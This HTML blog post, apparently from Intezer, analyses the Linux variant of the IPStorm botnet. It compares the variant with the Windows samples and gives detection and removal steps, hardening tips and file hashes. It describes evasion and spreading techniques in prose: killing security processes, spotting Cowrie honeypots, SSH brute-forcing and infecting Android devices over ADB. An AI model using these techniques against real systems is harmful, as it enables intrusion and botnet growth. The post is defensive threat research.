&lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig1.png" title="658638c6bef52e03e6aea4b6c1b2b3b8d81ad40144b56b2122d96e6957c33117 sample undetected in VirusTotal." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;658638c6bef52e03e6aea4b6c1b2b3b8d81ad40144b56b2122d96e6957c33117 sample undetected in VirusTotal.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Because IPStorm is written in Golang, not only can we observe strong code
connections between the different Linux variants, we can also identify
connections to IPStorm&amp;rsquo;s Windows samples uploaded to Intezer in 2019.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig2.png" title="Samples analyzed and classified by Intezer in the IPStorm malware family." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Samples analyzed and classified by Intezer in the IPStorm malware family.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The following map emphasizes code similarities between the different versions
and operating systems. The nodes represent the individual samples and the lines
are the code relations between them. All samples are linked to each other in
some way:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;IPStorm PE files from 2019&lt;/li&gt;
&lt;li&gt;IPStorm ELF files from 2020&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig3.png" title="Map showing IPStorm code similarities between different samples analyzed. Nodes represent the individual samples and the lines show code relations between them." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Map showing IPStorm code similarities between different samples analyzed. Nodes represent the individual samples and the lines show code relations between them.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The graph depicts three main clusters, with each cluster containing samples
that have strong code connections between them:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PE, intel 80386 architecture&lt;/li&gt;
&lt;li&gt;ELF, intel 80386 architecture&lt;/li&gt;
&lt;li&gt;ELF, amd x86-64 architecture&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You will also notice shared code exists between the ELF clusters and the ELF
and PE intel 80386 architecture clusters.&lt;/p&gt;
&lt;p&gt;You can use the &lt;code&gt;cluster_directory.py&lt;/code&gt; API script in this GitHub
&lt;a href="https://github.com/intezer/analyze-scripts"target="_blank" rel="noopener"&gt;repository&lt;/a&gt; to create a cluster
graph of your own. IPStorm Linux Variant Behavior Flow&lt;/p&gt;
&lt;p&gt;The Linux variant symbols are stripped. Using the plugin
&lt;a href="https://github.com/sibears/IDAGolangHelper"target="_blank" rel="noopener"&gt;IDAGolangHelper&lt;/a&gt; we retrieved the
file&amp;rsquo;s symbols and saw exactly which packages the malware contains. A package
in Go is a bundle of Go source files which make up a specific functionality.
Every Go source file belongs to a package.&lt;/p&gt;
&lt;p&gt;The Linux malware&amp;rsquo;s main logic is implemented in a package called
&lt;code&gt;storm_starter&lt;/code&gt;, a new package that was not in the Windows version. All logic
was implemented via the main function in the Windows version.&lt;/p&gt;
&lt;p&gt;Both versions have similarities in the way the main flow is implemented,
however, the Linux instances have additional features and adjusted some logic
due to the differences that exist between the two operating systems.&lt;/p&gt;
&lt;p&gt;The Linux iteration starts by disabling the out-of-memory (OOM) killer in order
to prevent it from terminating the malware. It then proceeds to check for any
processes related to antiviruses or other security tools that may prevent
further execution of the malware. Next the malware generates and saves pubkeys
in a file called &lt;code&gt;strom.key&lt;/code&gt;. The location of where this key is saved is based
on privileges that the malware was executed with. If the malware was executed
with root privileges, the key will be stored at &lt;code&gt;/etc/storm.key&lt;/code&gt;. Otherwise, it
will be saved at &lt;code&gt;/tmp/storm.key&lt;/code&gt;. The malware then tries to establish
connections with other nodes in the peer to peer network.&lt;/p&gt;
&lt;p&gt;The malware sends HTTP requests to different services such as
&lt;code&gt;diagnostic[.]opendns[.]com/myip&lt;/code&gt;, &lt;code&gt;ifconfig[.]io/ip&lt;/code&gt;, and
&lt;code&gt;myip[.]dnsomatic[.]com&lt;/code&gt; to receive the external IP address of the victim
server. If the malware is running as root, it will create a service under
systemd to achieve persistence and copy itself to /usr/bin/storm. Otherwise, it
will be copied to /tmp/storm. The malware will then relaunch itself from the
new installation path.&lt;/p&gt;
&lt;p&gt;This new process is responsible for executing the main features of the IPStorm
malware, including reverse shell, which was previously seen in the Windows
variant—maintaining connection with other peers in the P2P network and a new
feature for spreading the malware to other victims.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig4.png" title="IPStorm Linux output non-privileged user." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;IPStorm Linux output non-privileged user.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Linux vs. Windows Comparison&lt;span class="hx:absolute hx:-mt-20" id="linux-vs-windows-comparison"&gt;&lt;/span&gt;
&lt;a href="#linux-vs-windows-comparison" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Comparing IPStorm Linux version &lt;code&gt;0.2.05a&lt;/code&gt; to Windows version &lt;code&gt;0.0.2m&lt;/code&gt;, it
became clear the developer added features and altered existing ones to attack
Linux platforms.&lt;/p&gt;
&lt;h3&gt;Packages Comparison&lt;span class="hx:absolute hx:-mt-20" id="packages-comparison"&gt;&lt;/span&gt;
&lt;a href="#packages-comparison" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The malware is composed of different Golang packages with each package
providing a different feature. The following table categorizes package
comparisons between the two versions:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Golang Package&lt;/th&gt;
&lt;th&gt;Functionality&lt;/th&gt;
&lt;th&gt;Linux Version Version 0.2.05a (2020)&lt;/th&gt;
&lt;th&gt;Windows Version Version 0.0.2m (2019)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;scan_tools&lt;/td&gt;
&lt;td&gt;Scans for potential victims&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;td&gt;–&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;web_api_client&lt;/td&gt;
&lt;td&gt;Handles HTTP requests and responses&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;td&gt;–&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;p2p (part of the web API)&lt;/td&gt;
&lt;td&gt;HTTP over P2P&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;td&gt;–&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;reque_client&lt;/td&gt;
&lt;td&gt;Handles the communication of peers in the network&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;td&gt;–&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;commander&lt;/td&gt;
&lt;td&gt;Handles HTTP requests&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;td&gt;–&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;starter&lt;/td&gt;
&lt;td&gt;Implements the main logic of the malware (basically the &amp;ldquo;main function&amp;rdquo;)&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;td&gt;–&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;malware-guard&lt;/td&gt;
&lt;td&gt;Antivirus evasion&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;td&gt;–&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;avbypass&lt;/td&gt;
&lt;td&gt;Antivirus evasion&lt;/td&gt;
&lt;td&gt;–&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;backshell&lt;/td&gt;
&lt;td&gt;In charge of the reverse shell&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ddb&lt;/td&gt;
&lt;td&gt;Database&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;filetransfer&lt;/td&gt;
&lt;td&gt;Persistence and managing file transfering to other peers&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;logging&lt;/td&gt;
&lt;td&gt;Output log&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;node&lt;/td&gt;
&lt;td&gt;Responsible for advertising the node, getting the external IP, and maintaining connection with other nodes.&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;powershell&lt;/td&gt;
&lt;td&gt;In Windows, in charge of the powershell artifact in the backdoor. In the Linux variant, the package has only one function copied from the Windows version and is used for achieving reverse shell. + util Utility functions&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ddbinterface&lt;/td&gt;
&lt;td&gt;DB functions&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;proxy&lt;/td&gt;
&lt;td&gt;Implements Socks5 Proxy&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;td&gt;+&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;Note: We compared Linux version 0.2.05a to Windows version 0.0.2m which was
analyzed in Anomali&amp;rsquo;s report. However, the malware is frequently being
updated and we have observed multiple different versions since, so
functionalities may differ between them.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Features Comparison Scanning tools&lt;span class="hx:absolute hx:-mt-20" id="features-comparison-scanning-tools"&gt;&lt;/span&gt;
&lt;a href="#features-comparison-scanning-tools" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Android and SSH brute-force&lt;span class="hx:absolute hx:-mt-20" id="android-and-ssh-brute-force"&gt;&lt;/span&gt;
&lt;a href="#android-and-ssh-brute-force" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The Linux variant attempts to spread and infect other victims on the internet
by using SSH brute-force. Once a connection is established, the malware will
check if the victim server is a honeypot by comparing the hostname of the
attacked server to the string &amp;ldquo;svr04&amp;rdquo;, which is the default hostname of Cowrie
SSH honeypot. If the malware identifies a honeypot it will close the
connection, otherwise it will proceed to download the payload and infect the
server.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig5.png" title="Validation of whether the server is a honeypot or not." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Validation of whether the server is a honeypot or not.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Another spreading method that is unique to the Linux version is searching for
potential Android victims. The malware checks for devices connected with ADB
(Android Debug Bridge) to the victim node. Once identified, it will upload an
Android version of IPStorm to the device, which was previously downloaded from
the P2P network.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig6.png" title="Screen capture from the log of the storm service showing the downloaded file." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Screen capture from the log of the storm service showing the downloaded file.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Antivirus Evasion&lt;span class="hx:absolute hx:-mt-20" id="antivirus-evasion"&gt;&lt;/span&gt;
&lt;a href="#antivirus-evasion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Both IPStorm Windows and Linux versions implement features related to detection
evasion and each variant uses a different technique. In the Linux version, the
package in charge of this logic is called &lt;code&gt;storm_malware_guard&lt;/code&gt;. The file
iterates through all current running processes in order to find and terminate
ones that might detect the malware&amp;rsquo;s activity.&lt;/p&gt;
&lt;p&gt;The function under the &lt;code&gt;storm_malware_guard&lt;/code&gt; package that implements this
technique is called &lt;code&gt;KillSuspiciousProcesses&lt;/code&gt;. Other functions in this package
are responsible for obtaining information about the CPU and memory usage,
number of I/O ports, and functions that return information about processes and
threads.&lt;/p&gt;
&lt;p&gt;In the Windows version, the AV evasion logic is implemented in a package called
&lt;code&gt;avbypass&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This technique is based on random sleep times and multiple function calls. The
purpose of this method is to make tracing the original process harder for
Antivirus solutions.&lt;/p&gt;
&lt;p&gt;It appears that due to the different operating systems, each IPStorm version
has its own way to evade detection.&lt;/p&gt;
&lt;h3&gt;Reverse Shell&lt;span class="hx:absolute hx:-mt-20" id="reverse-shell"&gt;&lt;/span&gt;
&lt;a href="#reverse-shell" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Both IPStorm versions use the name backshell to refer to the feature of reverse
shell.&lt;/p&gt;
&lt;p&gt;The backshell functions of the Linux variant are identical to those of the
Windows variant.&lt;/p&gt;
&lt;p&gt;The Windows variant has a package called &lt;code&gt;powershell&lt;/code&gt; which contains functions
for achieving reverse shell. The same package is present in the Linux variant
but it contains only one function:
&lt;code&gt;storm_powershell__ptr_Backend_StartProcess&lt;/code&gt;. The function is used to get a
reverse shell on the infected system.&lt;/p&gt;
&lt;p&gt;The implementation of the reverse shell is a clear example of the code reuse
connections between the two IPStorm variants. The screengrabs below demonstrate
changes in the file names and the identical function names found in the two
versions:&lt;/p&gt;
&lt;h4&gt;Linux&lt;span class="hx:absolute hx:-mt-20" id="linux"&gt;&lt;/span&gt;
&lt;a href="#linux" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig7.png" alt="" loading="lazy" /&gt; &lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig8.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h4&gt;Windows&lt;span class="hx:absolute hx:-mt-20" id="windows"&gt;&lt;/span&gt;
&lt;a href="#windows" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig9.png" alt="" loading="lazy" /&gt; &lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig10.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h3&gt;Persistence&lt;span class="hx:absolute hx:-mt-20" id="persistence"&gt;&lt;/span&gt;
&lt;a href="#persistence" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The Linux version will attempt to gain persistence only if it was executed with
root privileges. The Windows version, on the other hand, will always look to
gain persistence. It is evident that each variant of the malware, Linux and
Windows, uses a different technique to gain persistence since the operating
systems they target are fundamentally different.&lt;/p&gt;
&lt;p&gt;The Windows variant achieves persistence by copying itself to a random location
and adding the program to the:
&lt;code&gt;HKCU\Software\Microsoft\Windows\CurrentVersion\Run&lt;/code&gt; registry key.&lt;/p&gt;
&lt;p&gt;The Linux version achieves persistence by creating a &lt;code&gt;systemd&lt;/code&gt; service under
&lt;code&gt;/etc/systemd/system/storm.service&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig11.png" title="/etc/systemd/system/storm.service" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;/etc/systemd/system/storm.service&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig12.png" title="The function that archives persistence in the Linux variant." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;The function that archives persistence in the Linux variant.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Another difference is the location to which the file is copied. The Windows
variant uses random file paths while the Linux version uses fixed paths.&lt;/p&gt;
&lt;h3&gt;Network Traffic&lt;span class="hx:absolute hx:-mt-20" id="network-traffic"&gt;&lt;/span&gt;
&lt;a href="#network-traffic" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;On top of creating a reverse shell, we have detected that IPStorm&amp;rsquo;s Linux
variant takes advantage of its being widespread to perform different fraudulent
activity in the background, abusing gaming and ads monetization. Because it&amp;rsquo;s a
botnet, the malware utilizes the large amount of requests from different
trusted sources, thus not being blocked nor traceable. This activity was not
observed in the Windows variant.&lt;/p&gt;
&lt;h4&gt;Steam Gaming Fraud&lt;span class="hx:absolute hx:-mt-20" id="steam-gaming-fraud"&gt;&lt;/span&gt;
&lt;a href="#steam-gaming-fraud" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Steam is a popular gaming service from Valve Corporation and is used by
hundreds of millions users worldwide. It also provides an API for developers
who want to use Steam data on their own websites.&lt;/p&gt;
&lt;p&gt;As part of the monetization process for game developers, Steam users can buy
and sell different items such as equipment, skins, and other in-game elements.
This platform is so popular that it has become a hot target for cybercriminals.
A known method used by attackers is creating phishing websites to lure users to
submit their Steam login credentials. With access to a user&amp;rsquo;s credentials the
attacker has full access to the the account, API key included.&lt;/p&gt;
&lt;p&gt;We noticed IPStorm generates a large amount of traffic to Steam&amp;rsquo;s API, querying
data pertaining to various Steam users and using multiple valid API keys.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig13.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;We suspect these are stolen accounts that are being monitored as part of a fake
trade scam.
&lt;a href="https://www.skinwallet.com/csgo/how-to-avoid-steam-api-key-scam/"target="_blank" rel="noopener"&gt;Browse here&lt;/a&gt;
for more information about this scam.&lt;/p&gt;
&lt;h4&gt;Ad Fraud&lt;span class="hx:absolute hx:-mt-20" id="ad-fraud"&gt;&lt;/span&gt;
&lt;a href="#ad-fraud" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;The malware generates requests which imitate fake advertisements clicks. All
the ads we have traced are related to pornographic websites. The malware crawls
through different predefined sites, searches for advertisement iframes, and
imitates a user &amp;ldquo;click&amp;rdquo; by browsing through the iframes.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig14.png" title="Example of a request the malware generates to an ad platform." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Example of a request the malware generates to an ad platform.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig15.png" title="Websites the malware crawls through." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Websites the malware crawls through.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;IPStorm Detection and Response&lt;span class="hx:absolute hx:-mt-20" id="ipstorm-detection-and-response"&gt;&lt;/span&gt;
&lt;a href="#ipstorm-detection-and-response" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Compromised System Detection&lt;span class="hx:absolute hx:-mt-20" id="compromised-system-detection"&gt;&lt;/span&gt;
&lt;a href="#compromised-system-detection" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;You can take the following steps to check if your system has been attacked by
the IPStorm malware.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Check if the process of IPStorm is running on your system.
&lt;ul&gt;
&lt;li&gt;Run: &lt;code&gt;pstree | grep storm&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;IPStorm will usually run with multiple threads. &lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig16.png" alt="" loading="lazy" /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Check the services that run on your system, since if the malware was executed
with root privileges it would create a service for persistence.
&lt;ul&gt;
&lt;li&gt;Run: &lt;code&gt;sudo systemctl status strom.service&lt;/code&gt; &lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig17.png" alt="" loading="lazy" /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Check if IPStorm&amp;rsquo;s files exist in your system.
&lt;ul&gt;
&lt;li&gt;Run: &lt;code&gt;sudo find / -name &amp;quot;storm*&amp;quot; -type f&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;In case of a non-root execution the output will look similar to the
screen capture below &lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig18.png" alt="" loading="lazy" /&gt;&lt;/li&gt;
&lt;li&gt;If the malware was executed with root privileges, the output will look
similar to the screen capture below: &lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig19.png" alt="" loading="lazy" /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Check the open ports on your system and the processes that are associated
with them.
&lt;ul&gt;
&lt;li&gt;Run: &lt;code&gt;sudo ss -tulpn&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;In the screen capture below a number of processes that belong to the
IPStorm malware listen on specific ports. &lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig20.png" alt="" loading="lazy" /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Use freely the Intezer Protect community beta to identify which process is
running on your system. The screen capture below is taken from the alert of
IPStorm executed on a server. The info provided by the system includes the
malware family name, full path of the executable, the process ID, execution
time, and a link to Intezer where you can observe code reuse prevalent in
this malware. &lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig21.png" alt="" loading="lazy" /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;How to Terminate IPStorm on a Compromised System&lt;span class="hx:absolute hx:-mt-20" id="how-to-terminate-ipstorm-on-a-compromised-system"&gt;&lt;/span&gt;
&lt;a href="#how-to-terminate-ipstorm-on-a-compromised-system" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;If the malware runs as a service you should stop the service by executing the
command: &lt;code&gt;sudo systemctl stop storm.service&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Delete all the files that are related to the IPStorm malware. The file paths
are mentioned in the previous section.&lt;/li&gt;
&lt;li&gt;Kill the process by running: &lt;code&gt;sudo pkill -9 storm&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Response&lt;span class="hx:absolute hx:-mt-20" id="response"&gt;&lt;/span&gt;
&lt;a href="#response" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;We are providing a
&lt;a href="https://github.com/intezer/yara-rules/blob/master/IPStorm.yar"target="_blank" rel="noopener"&gt;YARA rule&lt;/a&gt;
intended to be run against in-memory artifacts in order to be able to detect
these implants.&lt;/p&gt;
&lt;h4&gt;System Security Hardening&lt;span class="hx:absolute hx:-mt-20" id="system-security-hardening"&gt;&lt;/span&gt;
&lt;a href="#system-security-hardening" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;Make sure your SSH connection is secured. Use a key instead of a password or
use multi-factor authentication.
&lt;a href="https://www.techrepublic.com/article/5-quick-ssh-hardening-tips/"target="_blank" rel="noopener"&gt;Browse here&lt;/a&gt;
for more tips about SSH hardening.&lt;/li&gt;
&lt;li&gt;Make sure your system is updated to the latest software and aligned with most
recent security best practices.&lt;/li&gt;
&lt;li&gt;Use a runtime cloud workload protection solution. Protect provides full
runtime visibility over the code in your system and alerts on any suspicious
or unauthorized code that deviates from the secure baseline.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Summary&lt;span class="hx:absolute hx:-mt-20" id="summary"&gt;&lt;/span&gt;
&lt;a href="#summary" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;IPStorm now with Linux malware is the latest example of a cross-platform
malware developed in Golang. Platforms that are compromised by IPStorm are not
only exposed to a backdoor to their services but are also added to the IPStorm
Botnet which attempts to spread to other victims. The attackers behind IPStorm
are very active evidenced by the frequent release of updated versions with new
features and improvements, as well as the expansion to several different
platforms and architectures.&lt;/p&gt;
&lt;p&gt;IPStorm is part of a growing list of Golang ELF malware that have been spotted
attacking live servers in the past six months alone, together with
&lt;a href="../../../2020/05/kaiji-new-chinese-linux-malware-turning-to-golang"&gt;Kaiji&lt;/a&gt;,
&lt;a href="https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability"target="_blank" rel="noopener"&gt;Kinsing&lt;/a&gt;,
and
&lt;a href="https://www.guardicore.com/2020/08/fritzfrog-p2p-botnet-infects-ssh-servers/"target="_blank" rel="noopener"&gt;FritzFrog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;We want to give a special thanks to Paul Litvak and Michael Kajiloti for their
help contributing to this analysis.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Both IPStorm Linux and Windows samples are indexed in Intezer and you can
detect this and other cross-platform malware with the code reuse feature for
Golang, just by uploading a file or hash to the system. Below is the analysis
of one of the Linux samples.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2020/10/a-storm-is-brewing-ipstorm-now-has-linux-malware/images/fig22.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Linux&lt;span class="hx:absolute hx:-mt-20" id="linux-1"&gt;&lt;/span&gt;
&lt;a href="#linux-1" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;3aff4695c73709e2e0e55665c4850aa45064723a2c83e75325b27e77ec5f6d97
b80346c4d31d77fba9427024d34af2f43e64a5272b5bbef28c6bf045a06143ff
d233c37f2d49badbf53d054bce7fb8e787c9973067e8dcd79835d7816aacfa43
658638c6bef52e03e6aea4b6c1b2b3b8d81ad40144b56b2122d96e6957c33117
bfb69eadee1918a9402478c76dd15696bbac3e3e3e57c9a94c7d51e594b8c657
64abc2cf5866e932b0731a6deb487aa3d9756724250de26bac2fb930cd478dc0
52f215521ba59cb6a51314bd1527f1c540ffc04df924ad971ca2160405879778
aa7639b11f7c852005110e5ac34c9a2c94c562bcc95dbf6f60a1a7192cf8ea77
cae8a782765dd0f97e7a812a245cc5b94b3179ced9c8181d0fda13978c9f17be
5103133574615fb49f6a94607540644689be017740d17005bc08b26be9485aa7
08bf31862577567a56bf3be6425f1ddf4ac90914efd883a75a5a53dbcabd28a2
984c5e980fb8a5b7bbc673f923f22ddf06c5dd89fcd0acf774d79d4d193b44c8
591770835066958e912ceb445bd865e961ac946e8cf70ced9f0bd75c851d9478
69ea7bcf3da16d968e6104745c1f015f6371c093188f1061a311a6385985b45b
fbd5e48ee691df949e0dd3687755c80cc5b9d1a1a89e7dc486694370697de893
c247b3c07b4bf13da67c51d5834193d128c45c7e41214096090b5d2610313783
f4f1fb65df80666fe67b22b84d9d8f967449d1249c33ad97f4305784fa41e747
ef226de8cc53e59c9431838085f3bbd1b8a32f7cc135682033a3fdba19a0ee97
dfeecdd23f28f80e42e58c87c9a4858648964b3100dfb899c61b54aed7856cf7
db9c95bdc4247ff6cdaf8a8e47b4add21a730461d8f6e2693136aecd346b3fb5
